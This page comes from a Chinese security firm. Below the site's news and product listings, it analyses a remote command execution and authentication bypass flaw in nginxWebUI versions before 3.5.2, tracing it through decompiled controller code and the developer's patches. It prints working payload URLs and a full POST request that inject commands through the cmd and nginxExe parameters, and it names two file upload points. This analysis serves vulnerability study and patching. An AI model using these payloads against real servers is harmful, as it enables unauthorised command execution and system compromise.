每周安全速遞3?? | Everest勒索組織聲稱對寶馬進行攻擊
2025-09-26
第一!美創數據庫防水壩位居中國數據庫安全運維管理市場份額榜首
2025-09-24
2025網安周|美創科技多地聯動,共筑數據安全防線
2025-09-19
國家網信辦發布《國家網絡安全事件報告管理辦法》
2025-09-16
數字醫學與健康大會DMHC——美創與您相約古都金陵
2025-08-12
存儲域
數據庫加密 諾亞防勒索訪問域
數據庫防水壩 數據庫防火墻 數據庫安全審計 動態脫敏流動域
靜態脫敏 數據水印 API審計 API防控 醫療防統方運維服務
數據庫運維服務 中間件運維服務 國產信創改造服務 駐場運維服務 供數服務安全咨詢服務
數據出境安全治理服務 數據安全能力評估認證服務 數據安全風險評估服務 數據安全治理咨詢服務 數據分類分級咨詢服務 個人信息風險評估服務 數據安全檢查服務nginxWebUI是一款圖形化管理nginx配置的工具,能通過網頁快速配置nginx的各種功能,包括HTTP和TCP協議轉發、反向代理、負載均衡、靜態HTML服務器以及SSL證書的自動申請、續簽和配置,配置完成后可以一鍵生成nginx.conf文件,并控制nginx使用此文件進行啟動和重載。nginxWebUI后臺提供執行nginx相關命令的接口,由于未對用戶的輸入進行過濾,導致可在后臺執行任意命令。并且該系統權限校驗存在問題,導致存在權限繞過,在前臺可直接調用后臺接口,最終可以達到無條件遠程命令執行的效果。
nginxWebUI < 3.5.2
url地址 + /AdminPage/conf/runCmd?cmd=命令%26%26echo%20nginx
漏洞定位:
根據gitee的更新歷史https://gitee.com/cym1102/nginxWebUI,尋找開發者關于此漏洞的更新情況。
以3.4.6版本為例,反編譯其jar包:
根據poc搜索/adminPage/conf,定位到路由:
\com\cym\controller\adminPage\ConfController.class 44行
然后根據poc的參數,找到runcmd方法
\com\cym\controller\adminPage\ConfController.class 274行
定義了一個runCmd方法來處理用戶輸入的命令并執行。根據輸入的type參數,調用settingService的set方法進行設置。然后使用RuntimeUtil類來執行命令,如果是Windows系統,則使用"cmd /c start"來執行命令,如果是其他系統,則使用"/bin/sh -c"來執行命令。最后,根據執行結果返回相應的JsonResult。
這里可以對cmd參數進行拼接,操控拼接的命令進行命令執行。
同理定位 runcmd方法:\com\cym\controller\adminPage\ConfController.class 274行
增加了一個replaceAll方法:
效果是對;’ \\| //{ //}
對這些符號做一個轉義替換 、且cmd參數中要存在“nginx”字段
構造payload:
http://localhost:8080/AdminPage/conf/runCmd?cmd=calc%26%26nginx
即 calc&&nginx
3.4.8升級框架為solon2
3.5.2開發者對漏洞進行了更新
根據gitee的版本對比,定位到:
src/main/java/com/cym/config/AppFilter.java
加了一個過濾器,用于對請求進行過濾和攔截。首先,它檢查請求的路徑是否包含特定的文件夾(如/lib/、/js/、/doc/等),如果不包含,則調用frontInterceptor方法進行處理。接下來,它再次檢查請求的路徑是否包含/adminPage/,如果包含且不包含特定的文件夾,則調用adminInterceptor方法進行處理。最后,如果adminInterceptor返回false,則將請求設置為已處理。
但是在path().toLowerCase()將路徑轉換為小寫,第二個if下沒有將路徑轉化成小寫。
可以在此進行大小寫繞過。
\com\cym\controller\adminPage\ConfController.class 316行
定義了一個私有的isAvailableCmd(String cmd)方法,通過switch語句,根據cmd的哈希值進行匹配,判斷cmd是否和預定義的命令匹配。匹配成功則返回true,即命令可用。
相當于徹底寫死,只執行預定義的、與nginx相關的命令,而不是其他命令。
寫完這篇文章后看到了白給師傅的poc補充,他補充了關于此漏洞的另外幾個命令執行點,和文件上傳點,非常牛逼,值得思考和學習。
大佬文章:
https://mp.weixin.qq.com/s/oKsR7bm3tleJIS675Qt0RA
補充:
命令執行點1
com.cym.controller.adminPage.ConfController#reload()方法
Payload
http://localhost:8080/AdminPage/conf/reload?nginxExe=calc%20%7C
命令執行點2
com.cym.controller.adminPage.ConfController#check()方法
Payload:
POST /AdminPage/conf/check HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 151
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Origin: chrome-extension://ieoejemkppmjcdfbnfphhpbfmallhfnc
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SOLONID=1788f71299dc4608a355ff347bf429fa
Connection: close
nginxExe=calc%20%7C&json=%7B%22nginxContent%22%3A%22TES%22%2C%22subContent%22%3A%5B%22A%22%5D%2C%22subName%22%3A%5B%22A%22%5D%7D&nginxPath=C%3A%5CUsers
命令執行點3
com.cym.controller.adminPage.ConfController#checkBase()方法,此方法從設置中獲取nginxExe nginxDir兩個屬性后拼接到命令再造成命令執行漏洞
payload
//第一步設置屬性
http://localhost:8080/AdminPage/conf/saveCmd?nginxExe=calc%20%7c&nginxPath=a&nginxDir=a
//第二步執行命令
http://localhost:8080/AdminPage/conf/checkBase
任意文件上傳1
com/cym/controller/adminPage/MainController.java
任意文件上傳2
com/cym/controller/adminPage/ServerController.java